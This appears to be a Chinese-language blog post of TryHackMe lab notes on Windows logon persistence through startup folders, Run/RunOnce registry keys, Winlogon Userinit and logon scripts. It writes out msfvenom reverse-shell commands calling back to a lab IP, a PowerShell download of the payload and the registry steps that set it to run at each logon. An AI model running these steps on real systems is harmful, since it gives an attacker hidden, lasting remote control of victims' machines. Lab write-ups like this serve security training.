windows-thm-持久化-登录触发反弹shell

每个用户登录windows的时候会启动某个文件夹中的程序,这个文件夹叫”启动文件夹“

每个用户都有一个文件夹

C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

在其中放置要在用户登录时运行的可执行文件。攻击者只需将有效负载放入其中即可实现持久性。每个用户只会运行其文件夹中可用的内容。

若想强制所有用户在登录时运行有效负载
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp //没找到就查看隐藏文件夹


下面将反弹shell放到这个文件夹

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4455 -f exe -o revshell.exe



Run / RunOnce

使用以下注册表项来指定在登录时运行的应用程序,而不是将有效负载传递到特定目录:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

注册表项HKCU仅适用于当前用户,下面的注册表项HKLM将适用于所有人。在该键下指定的任何程序都Run将在用户每次登录时运行。键下指定的程序RunOnce将仅执行一次。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe -o revshell.exe

将其传输到受害机器后,将其移动到C:\Windows

powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/revshell.exe’,’revshell.exe’)”

接下来创建一个注册表项

c:\tools\pstools\PsExec64.exe -s -i regedit //打开注册表

在注册表的地址输入窗口输入:HKLM\Software\Microsoft\Windows\CurrentVersion\Run //根据上文,这表示所有人,在这个键(目录)下的程序都会在用户每次登录时运行。

选 Expandable String Value

重新登录后获得shell



Winlogon

登录时自动启动程序的另一种替代方法是滥用 Winlogon,这是一种 Windows 组件,可在身份验证(除其他外)后立即加载用户配置文件。

Winlogon在注册表项的这个位置:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

  • Userinit指向userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的 shell,通常是explorer.exe

修改Userinit 的DATA 可以附加用逗号分隔的命令,Winlogon 将处理所有命令。

然后重新连接,就能获取shell



登录脚本

加载用户配置文件时要做的事情之一 userinit.exe 是检查名为 的环境变量UserInitMprLogonScript。可以使用此环境变量将登录脚本分配给用户,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此可以创建它并分配任何脚本

要为用户创建环境变量,可以转到HKCU\Environment注册表中的环境变量。使用该UserInitMprLogonScript条目指向有效负载,以便在用户登录时加载它。但是由于这个没有等效的HKLM,因此只能给当前而不是所有用户设置。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注